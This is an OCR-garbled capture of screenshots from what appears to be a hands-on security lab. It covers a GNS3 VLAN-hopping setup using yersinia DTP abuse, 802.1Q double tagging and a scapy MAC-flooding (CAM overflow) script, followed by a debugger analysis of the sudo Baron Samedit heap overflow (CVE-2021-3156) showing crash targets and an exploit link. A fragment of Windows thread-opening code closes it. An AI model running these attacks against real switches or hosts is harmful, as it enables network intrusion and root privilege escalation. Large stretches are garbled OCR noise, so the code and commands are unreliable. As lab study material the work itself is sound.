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File Edit View Control Annotate Tools Help
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| Topology Summary L
® Node Console
© Avalanche CPU 6.1%, RAM 35.1%
@ & ) GNS3 VM (GNS3 ¥M) CPU 1.0%, RA...
< D
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GNS3 server version: 2.2.9
Release channel: 2.2

UM version: 0.10.26

Ubuntu version: bionic

Qemu version: 3.1.0
Virtualization: umware

KUM support available: True
Uptime: up 1 minute

IP: 192.168.49.128 PORT:

To log in wsing 33H: ssh gns3@19Z2.168.49.128
Password: gns3

To launch the Web-Ui: http:,-192.168.49.128

Images and projects are stored in ’ropts/gns3’
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~ Built-in Default name format: 10U{0}
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. Console type: telnet
Ethernet switches Auto start console:  False
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~ VPCS Startup-config: iou_|2_base_startup-config.bd
RAM: default
VPCS nodes NVRAM: default
~ Dynamips * Network
105 routers Ethernet adapters: 4 (16 interfaces)
~ 105 on UNIX Serial adapters: 0 (Dinterfaces)
10U Devices
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~ VMware
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+| Topology Summary B8
Node Console
© Kali-1  none
) PCT telnet 192.168.49.130:5005

telnet 192.168.49.130:

v SWT o telnet 192,168.49.130:5004
b SW2 telnet 192.168.49.130:5002
» 6 Target  telnet 192,168.49.130:5003

Kali-1
Target -

Servers Summary @®
+ ) Avalanche CPU 4.6%, RAM 42.7%

(&) GNS3 VM (GNS3 VM) CPU 1.2%, RAM 21.6%
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SW2* Ethernetd2-. Target : SW2* EthernetG1l- PC2 - -
x "o s ¢ 1% x4 SWI EtHernet02i . XKalks st 1I" g IXq 1.
rConfigure *  x . 1> 47 44 . Pus F xKahd « 37 xp ] o oxiololox X ]
Allow GNS3to override non customVMware' | s {1 VX x «xs"Netwetk * x .~ 1%
adapter

‘Kali-1 configuration |

General settings Metwark Usage

Adapters: 1 =
Type: 21000 =
Custom adapters: Configure custom adapters

Allow GNS3 to override non custom VMware adapter
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| Topology Summery B8
Node Censole
» 0 PCI telnet 192.168.49.130:5005
» P2 telnet 192.168.49.130:5006
«’ b8 swi telnet 192.168.49.130:5004
Kali-1 » @ sw2 telnet 192.168.49.130:5002
Target - b €D Target  telnet 192.168.49.130:5003
o .
@
=) Servers Summary B®
pc2 PC1 (©) Avalanche CPU 3.6%, RAM 42.3%
)i @ m b ) GNS3VM (GNS3 VM) CPU 2.3%, RAM 21.6%
Ll FX L4, o x X TR Y TR EM e s s, S X e s
T A U T S AV U S I R I B SN Y
Device SW2 is started Device SW1 is started
Running on server GNS53 VM (GNS3 VM) with port 80 Running on server GNS3 VM (GNS3 VM) with port 80
Local ID is 5 and server ID is ed13eacd-5883-4761-9cal-e4196cf35632 Local IDis 6 and server D is df245806-a339-40b8-b40c-9bbob1424b74
Hardware is Cisco 10U generic device with default RAM and NVRAM values| | Hardware is Cisco 10U generic device with default RAM and NVRAM values
Console is on port 5002 and type is telnet Console is on port 5004 and type is telnet
10U image is "i86bi-linux-12-ipbasek8-15.1g.bin" 10U image is "i86bi-linux-12-ipbasekd-15.1g.bin"
4 Ethernet adapters and 0 serial adapters installed 4 Ethernet adapters and 0 serial adapters installed
EthernetD/0 connected to SW1 on port Ethernetd/0 Ethernet)/0 connected to SW2 on port Ethernet0/0
EthernetD/1 connected to PC2 on port EthernetD Ethernet)/1 connected to PC1 on port EthernetD
EthernetD/2 connected to Target on port EthernetD Ethernet/2 connected to Kali-1 on port Ethernetl
Ethernetl/3 is empty Ethernet(/3 is empty
Ethernet1/0 is empty Ethernet1/0 is empty
Ethernetl/1 is empty Ethernetl/1 is empty
Ethernet1/2 is empty Ethernet1/2 is empty
Ethernet1/3 is empty Ethernet1/3 is empty
Ethernet2/0 is empty Ethernet2/0 is empty
Ethernet2/1 is empty Ethernet/1 is empty
Ethernet2/2 is empty Ethernet2/2 is empty
Ethernet2/3 is empty Ethernet2/3 is empty
Ethernet3/0 is empty Ethernet3/0 is empty
Ethernet3/1 is empty Ethernet3/1 is empty
Ethernet3/2 is empty Ethernet3/2 is empty
Ethernet3/2 is empty Ethernet3/3 is empty
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Topology Summary
Mode Console
b 0 Kali-1 none
» B3 pCi telnet 192.168.49.130:5005
v B pc2 telnet 192.168.49.130:5006
[ = U telnet 192.168.49.130:5004
B sw2 telnet 192,168.49.130:3002
b 00 Target  telnet 192.168.45.130:5003
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| LIA LS exn m i 1

t2m YRR T x L T4 X Lx X TS I
A *- [Kali-1 Ethernet0 to SW1 Ethernet0/2] - O X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Aamae T REBRe=2=ZF IS EQQQH
[_l |'C|"'P -J +
Source Destination Protocol Lengt Info (]
1e.0.2.137 l1e.e.0.10@ ICMP 1e6 Echo (ping) request .
10.0.0.137 10.9.0.10 ICMP 106 Echo (ping) request ..
10.0.0.137 1e.0.0.10 ICMP 106 Echo (ping) request ..
10.0.0.137 1¢.9.0.10 ICMP 106 Echo (ping) request ..
10.0.0.137 10.0.0.10 IcMP 186 Echo (ping) request ..
10.0.0.137 10.9.0.10 ICMP 186 Echo (ping) request ..
10.0.0.137 10.9.0.10 ICMP 106 Echo (ping) request ..
10.0.0.137 i10.0.0.10 | ICMP 106 Echo (ping) request ..
10.0.0.137 10.0.0.10 ICMP 106 Echo (ping) request .. ,
> Frame 160: 106 bytes on wire (848 bits), 106 bytes captured (848 bits) on interface
> Ethernet II, Src: ac:ld:ca:fe:b4:b3, Dst: ©0:50:79:66:68:0a
>| 802.1Q Virtual LAN, PRI: @, DEI: @, ID: 1
»>| 802.1Q virtual LAN, PRI: @, DEI: @, ID: 1@
> Internet Protocol Version 4, Src: 10.0.0.137, Dst: 10.0.0.10
Internet Control Message Protocol

< >

20 50 79 66 63 @a ac 1d ca fe b4 b3 81 ee ee el ‘Pyfh::s sreennnn ~

81 90 20 2a 93 00 45 @@ @0 5S4 7b 77 40 @0 40 01 - - - E- -T{w@ @

aa 9f @a @0 @0 39 ©a @@ ©O ©a ©3 @0 43 9a 11 ad I Sh

20 32 1d ©c 23 60 22 2@ ©0 20 98 4c @b o0 20 ee ‘2% solene o
(O 7 Internet Control Message Protocol: Protocol Packets: 214 - Displayed: 53 (24.8%) | Profile: Default
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M~ xp ILBS
” . XS = x « . S Y
L Xpew o XD X4 X7 s T s, xE
J (74~
=-|x11 X«

£ *- [SW1 Ethernet0/0 to SW2 Ethernet0/0] - O X
Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Aamade TRE QRe2EF LIS EQRQQT

(I ficmp -]+
Source Destination Protocol Lengt Info A
10.0.0.10 10.0.0.137 ICMP 102 Echo (ping) reply .
10.0.08.137 10.8.0.10 ICMP 182 Echo (ping) request ..
10.9.0.10 10.9.8.137 ICMP 102 Echo (ping) reply -
10.0.0.137 10.0.0.10 ICMP 102 Echo (ping) request ..
l1e.9.e.1@ 10.0.0.137 ICMP 182 Echo (ping) reply -
18.0.0.137 le.e.e.10 ICMP 182 Echo (ping) request ..
10.0.0.10 10.0.0.137 ICMP 182 echo (ping) reply -
10.8.0.137 10.0.0.10 ICMP 102 Echo (ping) request ..
10.0.0.10 110.0.0.137 ICMP 102 Echo (ping) reply ..

v
> Frame 51: 102 bytes on wire (816 bits), 102 bytes captured (816 bits) on interface -
> Ethernet II, Src: ©0:50:79:66:68:0a, Dst: ac:1ld:ca:fe:b4:b3
> 8@2.1Q Virtual LAN, PRI: @, DEI: @, ID: 10
> Internet Protocol Version 4, Src: 10.0.0.10, Dst: 10.0.0.137
> Internet Control Message Protocol
< >

ac 1d ca fe b4 b3 @@ S@ 79 66 68 @a 81 @@ @@ @2 - - - P yfh
98 @0 45 @0 @0 54 7b fc 40 90 40 01 aa la ©a 90 E--T{- @@
20 @a Ga @0 @0 B89 @06 @ 34 99 11 a8 @@ 33 le @c - fee--3
23 60 00 20 @0 2@ ae 4c ©b 90 G2 @@ @@ @@ 1@ 11 # - L -
12 13 14 15 16 17 18 19 1la 1b 1c 1d le 1f 20 21 serresas senees |
22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 3@ 31 "HEXL' () *+,-./e1
32 33 34 35 36 37 234567
@ 7 Internet Control Message Protocol: Protocol || Packets: 307 - Displayed: 28 (8.1%) || Profie: Default
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¢GF NES{i2 1”1 % x 2RNBBKIN] ~ 17 x.xX

£ *- [Target Ethernetl to SW2 Ethernet0/2] — O bt
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help

ma® RE| Qass=F 45 =E aqaaan
[. |ic|11|:| [X] '] +
Source Destination Protocol Lengt Info -
16.9.0.18 18.9.8.137 ICMP 98 Echoe (ping) reply
168.8.8.137 18.9.8.18 ICMP 98 Eche (ping) request
18.6.8.18 18.8.8.137 ICMP 98 Echo (ping) reply
108.9.8.137 1@.9.8.19 ICMP 98 Echae (ping) request
18.8.8.18 18.8.8.137 ICMP 98 Echo (ping) reply
i18.8.8.137 118.8.98.10 ICMP 98 Echa (ping) request
18.9.8.18 108.8.8.137 ICMP 98 Echoe (ping) reply
18.8.8.137 18.6.68.18 ICMP 98 Echo (ping) request
18.9.8.18 128.8.8.137 ICMP 98 Eche (ping) reply

Frame 19@8: 928 bytes on wire (734 bits), 98 bytes captured (784 bits) on interface -,
Ethernet II, Src: ac:ld:ca:fe:b4:b3, Dst: €@:50:79:66:68:08a

Internet Protocol Version 4, Src: 10.6.6.137, Dst: 19.8.8.18

Internet Control Message Protocol

£ >
@8 58 79 66 63 @a ac 1d ca fe b4 b3 @8 @@ 45 88 -Pyfh--- .- E- ~
@8 54 7b 77 48 @0 46 @1 aa 9T @a 6@ B8 89 @a @8  T{w@-@ --------
@8 93 B8 @0 43 9a 11 a8 @@ 32 1d Oc 23 6@ @B @8 .. (... 2. F ..
@8 @0 98 4c @b @@ B0 BB 80 @8 18 11 12 13 14 15 - cLecee ceeeees
L
o 7 Internet Contral Message Protocol: Protocol || Packets: 308 - Displayed: 106 (34.4%) || Profile: Default
al4s X xx] I D px - ~fir X, sL.xo X s o4 s 4y s s
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MBddn X xR NEBSE) L Y€ AL x ] v Txe o 0

~ > ~ ~

:~# ping 10.0.
.0.10 (10.0.0.10)

0.10
5
).0.137 icmp_seqg=1 D
D
D

6(84) bytes of data.
estination Host Unreachable
tination Host Unreachable

).0.137 icmp_seq=2 Des
estination Host Unreachable

).0.137 icmp_seq=3

S X s SURELKBIME X v 0 " b T X e DX T x ] s A

~ >

XL 4 Ty 4 x D s ¢ NI TAT Y X s Xedl TS

CXs X s 2 My L LAY RD Y R (X { L. Yios L.

{24020 F
{ 2 42 yoRANT SAXFBIOSA (ool KSNY S i
{2 02 y-RRD A G OKLIFRY | RRSEOA N> 6 f S

Y A0 " x 1 x4 X T I xw _w X s x o s DX s

> ~ A v o~ v

Qddmn -~ X L~ vl

‘ :~# ping 10.0.0.10
IPING 10.0.0.10 (10.0.0.10) 56(84) bytes of data.
64 bytes from 10.0.0.10: icmp_req=1 ttl=64 time=25.

|64 bytes from 10.0.0.10: icmp_req=2 ttl=64 time=25.
|64 bytes from 10.0.0.10: icmp_reqg=3 ttl=64 time=40.
|64 bytes from 10.0.0.10: icmp req=4 ttl=64 time=34.
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:~# yersinia -h

for nowadays networks

Prune your MSTP, RSTP, STP

: yersinia [-hVGIDd] [-1 logfile] [-c conffile] protocol [protocol options]
-V Program version.
-h This help screen.
-G Graphical mode (GTK).
-1 Interactive mode (ncurses).
-D Daemon mode.
-d Debug.
-1 logfile Select logfile.
-c conffile Select config file.
protocol One of the following: cdp, dhcp, dotlqg, dotlx, dtp, hsrp, isl, mpls, stp, vtp.

Try 'yersinia protocol -h' to see protocol_options help
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https://linux.die.net/man/8/yersinia
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£ *- [Kali-1 Ethemnet0 to SW1 Gi3/2] - O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help

ua® RE Rea=2=F LI =EQqaH
[. ‘ath.src == ac: 1d:ca:ferb4:b3 [x] 'l +
Source Destination Protocol Lengt Info
ac:ld:ca:fe:b4:b3 Bl:@8:@cicoiccice DTP 6@ Dynamic Trunk Protocol

Version: 1

> Frame 623: 6@ bytes on wire (480 bits), 6@ bytes captured (488 bits) on interface -, id @
» IEEE 8@2.3 Ethernet
> Logical-Link Control
v

Dynamic Trunk Protocol: (Operating/Administrative): Access/Desirable (8x83) (Operating/Administrative): 802.1Q/802.1Q (@xa5): @@8:f5:7f:le:7b:39

™~ Domain

Type: Domain (@x@8@1)

Length: 5

Domain:
¥ Trunk Status

Type: Trunk Status (@xeee2)

Length: 5

¥ Value: Access/Desirable (8x83)
@... .... = Trunk Operating Status: Access (8x@)
we.. .B11 = Trunk Administrative Status: Desirable (@x3)

¥ Trunk Type

Type: Trunk Type (@x@883)

Length: 5

> Value: 882.1Q/802.1Q (@xaS)

¥ Sender ID

Type: Sender ID (8x@284)

Length: 1@

Sender ID: @@:f5:7f:1le:7b:39

0026 5%03%0555%94 @@ @a @0 f5 7f le 7b 39 I ------ A
GE30 B@ o0 02 0P B2 BB 0O B0 B2 BB BB BB 0000 e
v

@ 7 Textitem (text), 1byte

|| Packets: 793 - Displayed: 1 (0.1%) || Profile: Default

ps .l OO6 & a ANFEXfS. (¢ ¢ | o

£ *- [Kali-1 Ethemnet0 to SW1 Gi3/2] - O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help
ma® RE Qe==F LI EQQaH
[. ‘ath.src == 0c:f5:ec:0ftb9:0e [X] '] +
Source Destination Protocol Lengt Info 2l
ec:fsiecef:batee B1:80:c2:00:00:00 5TP 6@ RST. TC + Root = 32768/1/@c:fS:ec:@@:@e:0@ Cost = 4 Port = exseef
@c:fs:ec:ef:ba:ge B1:80:c2:90:00:00 STP 68 RST. TC + Root = 32768/1/Bc:f5:ec:8@:0e:8@ Cost = 4 Port = @xseef
Bc:f5:e 81:88:8c:cciccice DTP 6@ Dynamic Trunk Protocol
@c:fs:ec:af:bo:oe B1:80:0C:00:00:08 LLC 94 U, func=UT; SNAP, OUI @x@e@aaC (Cisco Systems, Inc), PID @x@aa3
Ac:fS:ecaf-ha-ae A1:@R-Ac:ccicc:icc DR 6@ Dvnamic Trunk Protocol b
> Frame 18: 60 bytes on wire (480 bits), 6@ bytes captured (488 bits) on interface -, id @
> Ethernet II, Src: @c:f5:ec:8f:b9:@e, Dst: @1:8@:8c:cc:ccicc
> 882.1Q Virtual LAN, PRI: @, DEI: @, ID: 1
» Logical-Link Control
¥ Dynamic Trunk Protocol: (Operating/Administrative): Trunk/Auto (@x84) (Operating/Administrative): 862.1Q/Negotiated (@xa@): @c:fs:ec:ef:ba:ee

Version: 1

“~ Domain
Type: Domain (@x@8al)
Length: 5
Domain:
~ Trunk Status
Type: Trunk Status (@x8@02)
Length: 5
¥ Value: Trunk/Auto (Bx34)
l... ... = Trunk Operating Status: Trunk (8x1)
ve.. 2188 = Trunk Administrative Status: Auto (@x4)
¥ Trunk Type
Type: Trunk Type (@x@883)
Length: 5
> Value: 882.1Q/Negotiated (8xa@)
~ Sender ID
Type: Sender ID (Bx8884)
Length: 1@
Sender ID: @c:fS:ec:@f:bo:ee
G016 8@ 22 aa aa B3 0@ @0 Bc 20 94 @1 80 81 ©e 65 0 sMennees A
8626 0992%05@%0399 @5 a@ 9@ @4 @@ @a Bc 5
©e30 ec @f b9 Be 92 00 @0 @@ 00 8@ 90 @0 ha

@ 7 Textitem (text), 1byte

|| Packets: 961 - Displayed: 925 (96.4%) || Profile: Defaut
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Type
unknown
unknown

Status

(o]

notconnect
notconnect
notconnect
notconnect

QO O O

[~ — i - - -9 -l — 1 (i

t

rt
o 0O

unknown
unknown
unknown

NN =

[l
A

t rt
(o]

(o}

notconnect

Qo

b b fd fd pd

unknown
unknown
unknown

notconnect

(")

'™
t

(o}

(o]

(0]
Pt
[« TR « A « VA « TR < T « T}

+
(o)

(0]

VX P AT x ] P XRMACLDNT 1 Yy A4 .

a ~ ~

S O NBESHEYYE L T s

l'1s « ¢ NBSH,H GORYFAA [ I bMA | x 7

v

@02 ¥ RRA@ K n
LIA Yy S & m hchdn 1

17 s 1. DR ORLEST sy o~sxL XIS sy sT4L_s
~ ~ ~ A ~ ~
£ *- [Kali-1 Ethemnet0 to SW1 Gi3/2] - O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help
G RE QR e==F 5= aqaan
| ‘u:rnp 23 '|+
Source Destination Protocol Lengt Info
10.8.8.137 10.8.0.10 CMP 102 Echo (ping) request id=exefdé, seq=1/256, ttl=64 (reply in 1758)
19.8.9.10 10.2.0.137 ICMP 182 Eche (ping) reply id=exefde, seq=1/256, ttl=64 (request in 1749)
16.6.8.137 16.8.8.10 IcMP 182 Echo (ping) request id=@x@fd6, seq=2/512, ttl=64 (reply in 1752)
18.8.8.18 18.8.8.137 ICMP 182 Echo (ping) reply id=8x@fde, seq=2/512, ttl=64 (request in 1751)

Frame 1749: 182 bytes on wire (816 bits), 182 bytes captured (816 bits) on interface -, id @
Ethernet II, Src: ac:1ld:ca:Te:b4:b3, Dst: @B8:58:79:66:68:64

882.1Q virtual LAN, PRI: @, DEI: @, ID: 1@

Internet Protocol Version 4, Src: 10.9.6.137, Dst: 10.9.0.10

Internet Control Message Protocol

0000 ©@ 58 79 66 68 @4 ac 1d ca fe ba b3 81 o0 LKA  -Pyfh -]
pe1e [THEE 45 09 00 54 13 c3 48 80 48 01 12 54 0a 00 .jE( T @@ T
80 59 Ba OO 0@ Ga 05 BB 4c 16 BF d6 @9 81 by 17 L
31 60 80 00 B8 00 T2 7 00 60 0O 80 80 08 10 11 1
12 13 14 15 16 17 18 19 1a 1b 1c 1d le 1f 20 21 !
22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 3@ 31 “HIIR'() *+,-./01
32 33 34 35 36 37 234567

O 7 802, 1Q Virtual LAM {vian), 4 bytes Packets: 2010 - Displayed: 4 (0.2%) Profile: Default

b e

‘ :~# vconfig add eth@ 10
(Added VLAN with VID == 10 to IF -:eth@:-

:~# ping -I eth0.10 10.0.0.10
PING 10.0.0.10 (10.0.0.10) from 10.0.0.137 : f
64 bytes from 10.0.0.10: icmp_reg=l tt1=64

64 bytes from 10.0.0.10: icmp_reg=2 tt1=64
|~

--- 10.0.0.10 ping statistics ---
|2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 35.408/50.491/65.574/15.083 ms
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#!/usr/bin/env python
scapy . all

from

def

<

packet_list
in xrange (1, 10000)

for

packet

RandMAQ))/

IP ( src =RandIP (),

import

packet_list
packet_list

return

def

sendp ( packet_list ,

if

packet_list
cam_overflow ( packet_list

[K G ¥ k& 6 K BN GaKRIZBRIEI: O-D 81 A MyKaL B 6

Ether ,

0:

I

Ether (src

IP, TCP, RandIP,

. append ( packet )

(‘packet_list
iface

__name__ == '_main_"
= generate_packets

):
='eth0’ )

0

)

RandMAQ), dst =
dst =RandIP ())

RandMAC sendp

[ elc]
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Y102 Forx sX)

]

s ¢

Loady

S L ”

X

T AW X fAL S A

X

w

~YHT A x
11 18

S

X

~

aHH Ty X xaix]s]

30 S NKE ff BEIEY f - x «

X

(

L1

1) !

.

S XL BDI (A 41X

x

“~

S
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137
. 1:37
.137
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.137
pl L2 7/
=137

.137

1374

icmp_seq=82
icmp_seq=83
icmp_seq=84
icmp_seqg=85
icmp_seq=86
icmp_seq=87

s34

q=89

s L4

X o ¥

Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination

YL ©O2F ]
L v H{ sP

L -1 17dz0%

Host
Host
Host
Host
Host
Host
Host
Host
Host
Host

14 %, X
. R

X

Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable

es from 10.0.0.1: icmp_req=90 ttl=64 time=4.66 ms
from 10.0.0.1: icmp_req=91 tt1l=64 time=1.66 ms

64 bytes

from 10.0
from 10.0

0B
wlas

icmp_req=92 ttl=64 time=0.845 ms
icmp_req=93 ttl=64 time=1.41 ms
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https://notsosecure.com/exploiting-vlan-double-tagging/
https://notsosecure.com/exploiting-vlan-double-tagging/
https://www.ccexpert.us/multilayer-switched/attacks-on-switch-devices.html
https://riuma.uma.es/xmlui/bitstream/handle/10630/18975/GNS3-Security-GUIDE.pdf
https://github.com/tomac/yersinia
https://en.wikipedia.org/wiki/VLAN_hopping
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https://en.wikipedia.org/wiki/Baron_Samedi
https://linux.die.net/man/8/sudoedit
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

+ .1 [lete/sudoers¥
XS] o4 Xs

~ o~ ~ o~

s O XKL LS L 4.,

s | x S . "o
R

X”L :_I_IHXXL”N

I+« 1"%s' x MODE:SH
c 4% drgvidoe 1T

r 1 x x backslash L, |

ac = 1;
cmnd = dst = reallocarray

for (av = argv; *av =
for (src = *av; *src

if (! isalnum ((

*dst ++ "\
*dst ++ *Src ;

}

*dst ++ =

}

ac += 2;

s L X ] s

~

X oL ., S e qd X . 1sudo sk & .S . . X 1k
P & I ] X L X "o X's ZZxI9<“.l"s LS
.7 XS x X . _ - . _ s setuid - xsystak s s s

root cids x 9% .  $d- e 4 xX" A s
S v P T v qs ssudo -~ v L F - X AXXG 0 v S ]
ssudo, smaif $ 4 4, X xx XY o x o L8 5
parse_args + 1 s _
ELL L Y I's T v A duy s psudd 0 oX " w4 L b s
.+ 1 _MODE_HLOGIN SHEMODE-SHELL + 1L ¥ I s
x sescapingl sL_x _x s lox .o X, X xs 4, 1

(590 s .k {)T1x 4 _s

(ISSET(mode, MODE_RUN && ISSET(flags , MODE_SHEL) {
**av, *cmnd = NULL

(NULL, cmnd_size , 2);

NULL av++) {
I= "\0'; src ++) {

)* src ) && *src I=
&& *src 1=
&& *src 1=

av = reallocarray (NULL ac + 1, sizeof ( *);

av[0] = ( *) user_details . shell

if (cmnd !'= NULD {
av[ 1] ;

av[ 2] cmnd;

}
av[ac] = NULL

argv = av,
argc = ac;
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x s b1 s x . .~ set amid  XsC{s. <s"ixx X ST [

heap s buffer- L s« < x I s escaping-td 4 x x{s s _x x

if (sudo_mode & (MODE_RUN MODE_EDIT| MODE_CHEGQK {

{o]§

(size = 0,

size += strlen

it (

}

size == 0 ||

av = NewArgv + 1; *av; av+t+)
(*av) + 1;
(user_args = malloc (size )) == NULL {

if (ISSET(sudo_mode, MODE_SHELLMODE_LOGIN_SHEL) {

for

escapingf

NULL-s
G -~

~ ,gdb_ * sudo

(to = user_args , av = NewArgv + 1; (from = *av); av++) {

while  (* from ) {

if  (from [
from ++;
*to ++ = *

LLY?X

Y swhile- s

852-854

NULL terminatof  x {1 -~ backslash + from[0]- . « x s I x < s
b X « 1 _backslash® L4 1« L argL X w17 4 x s sl XX suX(s{ s
CoeL XL X s «hHeaps s bdffer- d * x © _ XTdrminator_ x
DX oA X ) X L S U« b(ufsfe[_s LLI~x YS| -|,,,,><IA NBJLL A
? S L -I 7 + -I S v S 4 . ’ S

Doe L 1 bryteforce _ 411 x4 1s 4. oxTs s 4.

0] == "\\' && !isspace (( ) from [ 1]))

from ++;

s .~ <béckslash * .4 W { P I R T L DR RS S L N

3 Xy FoS A WS o4 sy sk gxX T 140
S, x 13X s . x 44T X
LY 414 . X7
& dzR 2

oy
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Program received signal SIGSEGV ,  Segmentation fault
0x000056291a25d502 in process_hooks_getenv

(name=name@.. ry =0x7f4a6d7dc046 ;
value =value@ ... ry =0x7ffc595cc240 ) at ..[../ src / hooks . c: 108

=> 0x56291a25d502 <process_hooks getenv  +82>: callq * 0x8 (Y%orbx )

rbx 0x56291c1df2b0 94734565372592
0x56291c1df2b0 : 0x4141414141414141 0x4141414141414141

100 process_hooks getenv  (

101 {

102 sudo_hook_entry *hook ;
103 *val = NULL

SLIST_FOREACH hook, &sudo_hook getenv_list , entries ) {
= hook - >u. getenv_fn (name, &val , hook->closure );

* L sudd _hdok entry o _ s lgetenwfns s 4 « <7 x o % 41" 4 xx ] lws s
O TR I T B 1 .sexecw L SaA fawd s x| I N
s 1) .17 d4x s | ASHR L 1~ XS] 14 M4 Ty 48 s 4] 14X
execv L s " 4 1, 4ss |+« ssC o, {1

CASKRS: « A Xs o 4] . Cox

2/\(3*8-12)=2"12=4096

111 X7 12 A TAX AL T B EsE o Lx 1 x 7] e o
(+ 4006 %8664 ") .~ 1 4 S * 1 lxy_ . x{
a dzR 2
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Program received signal SIGSEGV ,  Segmentation fault

0x00007f6bfoc294ee in nss_load_library (ni =ni@... ry =0x55cflaldd040 ) at
nsswitch . c: 344

=> 0x7f6bf9c294ee <nss_load_library +46>: cmpg $0x0 , Ox8 (%rbx )

0x41414141414141 18367622009667905

A7 xx.s Ixo oL 1s

nss_load_library (' service_user

{
if  (ni ->library == NULD
{

ni - >library = NSS_new_service ( service_table ?. &default_table
ni - >name);

if (ni->library ->lib_handle == NULLD
{

size_t shlen = (7 + strlen (ni ->name) + 3
+ strlen (_nss_shlib_revision ) + 1);
saved_errno = errno ;
shlib_name [ shlen J;

__stpepy  (__stpepy (__stpcpy (__stpcpy (shlib_name
)1

ni - >name),

),

__nss_shlib_revision

ni - >library - >lib_handle __libc_dlopen (shlib_name );

4 Svd.w 404 0 s44. 4 _lib‘hdndle 1417 40 s Tl x 7, Tl
-+ NULL 'ni->library =« x . b0 v 414« x7 77 «lipc.dlopeh s 4 s
- x 7 o, % +JibRss x.$0.2 4" X s o s 44 ni->Aame - X 4L
ni->name
& dzR 2
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. \,{, . . L X N ‘I ”
S x I brutefofices. 4 L sx_"*« sT1Xss Lo S 4.~ S . X
. timestamp *xooooos X xoox 7y s 4, | gef fimestampdir . s 14« 4
L X« 4" s - °-|,,s
X X L X« A ( x.” EX XS S. XS ),_ S 1.1 .7 P S S
L X s Lo ~ 1 1S F ssymlink 7 X xx p bogs  @x¥ L, P xS LX)
timestamps + -« synilinks, - «  ‘timestamp_open s {1 . « 7 x s ftiméStampr 1 _ " 4+
L | Lo s X s,-|]‘."\”5(xssix\lA“x§|J‘|"Ss” q S {1 1 . X 47"
S v T TIX XS ] . Xradeconditians & S ¢ « L o7 L XX 48T p s q4 A
L, timestamp_lock * o1 Yy oooxx . 1 FooL A S I
timestamp lock s 4 . <7 x s
timestamp_lock  ( *vcookie * pw)
{
ts_cookie *cookie = vcookie ;
timestamp_entry entry ;
nread = read (cookie ->fd, &entry , sizeof (entry ));
if (nread == 0) {
} else if (entry .type !'= TS _LOCKEXCL {
(ts_write  (cookie ->fd, cookie ->fname, &entry , 0) == -1)
struct timestamp_entrys . | ¥ s
timestamp_entry
version
size ;
] X . oL .« X S {7 S s | s X s | 4 38 x {11644 x "s 4. "x  s* X X
e oy b LT T X e XX s L x vy TS KOCKEXCL 4 1 L x|
s:, X _ spasswd
T ox o x X Rete/passwdr 1 24 " s 18X L ‘0x746F x s {4 s | xy x
L T S e S I e S e T N e T I T lx s
X v » S L, s x %
& dzR 2
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T X <4 - s
:\Xss-|lxx’1“;[5 s~|_x'||_ = X
if (from [ 0] && !isspace (( ) from [ 1]))
if (from [ 0] AV && from[1] = "\0 &&
lisspace (( ) from [ 1])) {
from ++;
}
if (size (to user_args ) < 1) {
sudo_warnx (U _(
__func__ );
debug_return_int (NOT_FOUND_ERR®R
}
*to ++ = *from ++;
if (size (to user_args ) < 1) {
sudo_warnx (U_(
__func__ );
debug_return_int (NOT_FOUND_ERR®R
L. oL bxy NULL TERMINAT®OR~ vr Wexx (s | x © s s o f [,X sx s]  x7
1. x<_ s loages x0T
Xl
X _¢$udo” Jxy " X x  UNIX _ XX XX %s L X, v 1S
. FdL o, s {11 ] =v¢sv L1l X s X Xy X . s X s
X " Ix\v q "] X's Lo X { s L LY X F s S L X 1 s
X Lx |'s L
~ *Emdedded Low Level -~ x _« s | | * embeddéd. X ¥1: b 4 _ X
PS4 74X s X
S « 1 . « 1 s Fo
https://packetstormsecurity.com/files/161230/SudBuffer-OverflowPrivilegeEscalation.html
https://www.openwall.com/lists/osssecurity/2021/01/26/3
a4 dzR 2
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S « S
’,,_X,_A-|><”~,_SA . o X { X P | :XVJ]X:V x4 s "X DX ] L x s
s "y s s ZxJ,,AVX -|ZxAV~Vs . x4 s ZxX“AX ]~ , 11
va“ZsZ}\y’ﬁgﬂﬁgﬂésEAiss ZJ,,AVX ,_-|~I'| s "y s -|”x”y”v
XL P A K E AW T s e o x D hx o x X s T
X~|1 :x1-|~=2>1;>|_2x LMNY S ] .1 s e XL L
FAk 4 5« X ] s 17 . o S L. S , x4 T D x Lo Lo
svxl S ‘,.” s ¢ Y X . s
7y s ZxJ,,AV xx\”y,_”.|v”~x ~-|s,_ st” Y« 878X ,,-|V” ] 4L s X 17 x 1 ¢ I x .
Ksix s x4 XX =T41x4 s.oos 4
s ¢ e U (s ) Y e SX X s X s xS
B T o - e N T (T N (N A I B
STy S S T xyTY s X R LS p s X x X g § e,
s 14 4 ¥YHue s Xui®Xe X< o0 b dl.l s2 AYRMAEAS . L+ 0 s
Tle v bt o e ss 8 o SY {1y s f . oox L pfaxs
S v s "7 ] x x":x~,,|_ IxVAZ |_-|X|_~s LoL o d x4 X XX
LY s T 4T AT L A . ox A XYy oxs s f
Do ixyd xs > s fd4s s, s . x {. . {{ARSa¢[+ _s
11s 1 Xx 2AyREFHSNIYkWEA- 1] _ «.x<s 4] s17s lx "

.X” S B s ¢ ’” A “‘I S|_ ‘IIJX

~ ~ [V
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_ s ] x X DXL I x s B 4 s x « 1,8 s s .7 s X
L. S~A7NWIIPREE: 442 x . I xwhd KFTAYy"F2x ¥ 37« .« X
A T oo ywhis L, s L 0 2T P HERNBRRFOTL XY 3 x A
*la.xoox Py s x s s 47X s LTS

w . Cx s 14 L Fhiedd ST L) T XX 41 o x T

if (thread32.th320unerProcessID != ->data->remote_thread_info.processId || thread32.th32ThreadID == @) continue;
hThreadHandle = OpenThread(THREAD ALL_ACCESS, FALSE, thread32.th32ThreadID);

